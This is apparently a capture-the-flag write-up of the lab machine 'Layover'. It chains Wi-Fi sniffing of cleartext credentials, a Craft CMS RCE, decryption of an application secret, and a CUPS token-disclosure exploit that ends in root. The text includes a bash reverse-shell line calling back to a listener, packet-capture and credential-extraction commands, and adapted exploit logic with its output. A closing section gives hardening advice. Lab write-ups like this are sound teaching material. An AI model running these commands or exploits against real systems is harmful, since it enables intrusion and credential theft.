Layover
www-data → decrypt a
stored service credential → SSH as aporter → adapt the official CUPS 2.4.16 PoC → root.
- Initial target
10.129.4.188- Entry
- RDP as
contractorto theairside-ws01jump box - Pivot
- Open airport Wi-Fi network and internal portal at
10.13.37.10 - Foothold
- Craft CMS 5.9.8 authenticated behavior-injection RCE
- User
- Decrypt the custom module's mail-relay credential to reach
aporter - Root
- CUPS 2.4.16 local admin-token disclosure and root file overwrite
01External reconnaissance
I started with a default service scan, followed by a complete TCP sweep and targeted scripts:
nmap -sC -sV -oA scans/initial 10.129.4.188
sudo nmap -p- --min-rate 1000 -T4 -oA scans/all-tcp 10.129.4.188
sudo nmap -Pn -p22,3389 -sV \
--script 'ssh-hostkey,ssh2-enum-algos,rdp-enum-encryption,rdp-ntlm-info' \
-oA scans/targeted 10.129.4.188
Only SSH and RDP were exposed:
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
3389/tcp open ms-wbt-server Microsoft Terminal Service
The supplied contractor account failed over SSH but worked over RDP. The session landed on an XFCE
Linux workstation named airside-ws01, and the account had unrestricted sudo access.
02The airport Wi-Fi pivot
The workstation had two wireless interfaces. Both detected an open channel-six network named
HTB International WiFi. I joined with wlan2 and reserved wlan3
for passive monitoring.
nmcli device wifi connect 'HTB International WiFi' ifname wlan2
nmcli device set wlan3 managed no
ip link set wlan3 down
iw dev wlan3 set type monitor
ip link set wlan3 up
iw dev wlan3 set channel 6
timeout 180 tcpdump -i wlan3 -nn -s0 -w channel6.pcap
The joined interface received 10.13.37.182/24. Internal DNS exposed
wifi.international.htb and portal.international.htb, with the portal hosted
at 10.13.37.10.
A tshark filter showed repeated cleartext form submissions to the Miles login:
tshark -r channel6.pcap \
-Y 'http.request.method == "POST"' \
-T fields -e ip.src -e http.host -e http.request.uri \
-e urlencoded-form.key -e urlencoded-form.value
The captured passenger account also authenticated to the Craft CMS control panel. This was the key transition from passive network observation to application access.
03Craft CMS to www-data
The control panel's system report disclosed:
PHP 8.3.6
MariaDB 10.11.14
Craft Craft Solo 5.9.8
Yii 2.0.54
Web root /var/www/portal
Module htbairways
Craft CMS 5.9.8 falls within the affected range for CVE-2026-44011. The flaw allows an authenticated user to inject malicious Yii behavior configuration through an element-search condition and execute arbitrary commands.
I submitted the payload to /admin/actions/element-search/search from the authenticated
browser session, using Craft's current CSRF token. A curl callback first confirmed execution. I then
staged a small reverse-shell script from the jump box and invoked it through the same primitive.
# airside-ws01
printf '%s\n' '#!/bin/bash' \
'bash -i >& /dev/tcp/10.13.37.182/4444 0>&1' > /tmp/rs.sh
python3 -m http.server 8000 --directory /tmp
# second terminal
nc -lvnp 4444
The callback landed as www-data in /var/www/portal/web.
04From application secrets to aporter
Craft's .env contained the database credentials and CRAFT_SECURITY_KEY. The
custom htbairways module stored a mail-relay username and encrypted password in MariaDB:
MYSQL_PWD='<redacted>' mysql \
-h 127.0.0.1 -u craftuser -D craft -N -B \
-e 'SELECT name,value FROM htbairways_settings;'
An encrypted value is only as strong as the separation of its key. With the Craft security key and the project's vendor tree both readable, Yii could decrypt the value exactly as the application did:
require "vendor/autoload.php";
$security = new yii\base\Security();
echo $security->decryptByKey(
base64_decode($argv[1]),
$argv[2]
), PHP_EOL;
The recovered service credential was reused by the local aporter account. It worked with
both su and SSH, providing a stable user shell and access to the user flag.
05CUPS 2.4.16 enumeration
The account had no sudo privileges, and the standard SUID/capability review did not reveal a shortcut. CUPS stood out instead:
cups-config --version
ls -l /run/cups/cups.sock
ps -eo user,pid,cmd | grep '[c]upsd'
command -v python3 ipptool lp lpstat
CUPS version 2.4.16
Daemon root /usr/sbin/cupsd -f
Socket srwxrwxrwx root root /run/cups/cups.sock
ipptool /usr/bin/ipptool
06Root via CVE-2026-34990
CUPS 2.4.16 is affected by CVE-2026-34990 / GHSA-c54j-2vqw-wpwp.
A local user can coerce the root-owned scheduler into authenticating to a loopback IPP listener and
capture a reusable Authorization: Local token. The token authorizes local administrative
requests.
The official reproducer combines this with CUPS-Create-Local-Printer and a race that
persists a file:// printer. Printing raw data to a queue targeting
/etc/sudoers.d/... turns the bug into a root file overwrite.
I adapted the upstream PoC to the system installation:
IPPTOOL /usr/bin/ipptool
LPSTAT /usr/bin/lpstat
CREATE_LOCAL_TEST /usr/share/cups/ipptool/cups-create-local-printer.test
ATTACKER_USER aporter
PWN_FILE /etc/sudoers.d/aporter-pwn
The upstream script expects root because it constructs a clean laboratory environment. On this host,
CUPS was already running in the vulnerable configuration, so I removed the reset and user-creation
stages and ran its token-capture and candidate workers directly as aporter.
/etc/sudoers.d/aporter-pwn. That directory
was not traversable by aporter, so even Path.exists() raised
PermissionError. I replaced the file inspection with a direct
sudo -n id check after each race attempt.
root_test = run_as_attacker(
["sudo", "-n", "/bin/sh", "-c", "id"],
check=False,
)
if root_test.returncode != 0:
continue
The exploit captured the local token immediately and won the persistence race on attempt three:
*** CAPTURE LOCAL TOKEN ***
Captured Local authorization token: <redacted>
*** CANDIDATE ***
Candidate attempt 1. sudo: a password is required
Candidate attempt 2. sudo: a password is required
Candidate attempt 3. uid=0(root) gid=0(root) groups=0(root)
Privilege escalation complete. Persisted printer: sudo350972
07Attack path
contractor RDP → airside-ws01
↓
open airport Wi-Fi → passive cleartext credential capture
↓
Craft CMS 5.9.8 authenticated RCE
↓
www-data → Craft key + database credentials
↓
decrypt mail-relay password → aporter
↓
CUPS 2.4.16 local token disclosure + root file overwrite
↓
root
08Takeaways
- The meaningful attack surface was behind a second network interface, not in the external scan.
- Open Wi-Fi and cleartext HTTP turned passive observation into account compromise.
- Precise application versions and framework paths made vulnerability validation much faster.
- Encrypted application secrets are recoverable when the web process can read both ciphertext and key.
- An upstream PoC is a starting point: path assumptions, privilege assumptions and success checks all needed adapting.
- A permission error in verification logic does not necessarily mean the underlying exploit failed.
09References
◆If this were my environment
The path joined wireless exposure, a public CMS, application secrets and a root CUPS file-write primitive. I would harden each plane separately and make the print service local-only unless sharing is required.
- Use WPA3-Enterprise or WPA2-Enterprise with certificate validation, strong segmentation and no shared pre-shared key for administrative networks.
- Patch Craft CMS and plugins, protect admin access with MFA, and rotate keys or credentials recovered from configuration files.
- Bind CUPS to loopback or trusted management interfaces, require TLS and authentication, and remove remote administration when unused.
- Constrain CUPS with systemd sandboxing and SELinux/AppArmor; prevent it from writing arbitrary root-owned paths.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.